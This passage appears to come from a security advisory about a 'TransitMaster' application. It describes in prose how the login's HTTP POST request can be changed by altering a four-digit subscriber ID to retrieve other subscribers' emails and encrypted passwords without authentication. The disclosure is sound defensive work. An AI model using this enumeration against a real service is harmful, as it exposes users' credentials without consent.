Version: N/A


Vulnerability Type:
==========================
Sensitive Hashed Credential Disclosure


Vulnerability Details:
=====================
When logging into the subscriber account the "TransitMaster" application makes a HTTP POST request with 
the subscriber's unique ID (In this case is a four digit number) to the backend database and retrieves the 
account information - email / encrypted password. Manipulating this HTTP POST request's subscriber ID number 
by an individual number will retrieve account details for other subscribers of the service. This 
request can be performed unauthenticated - only requiring knowledge of the specific HTTP request.
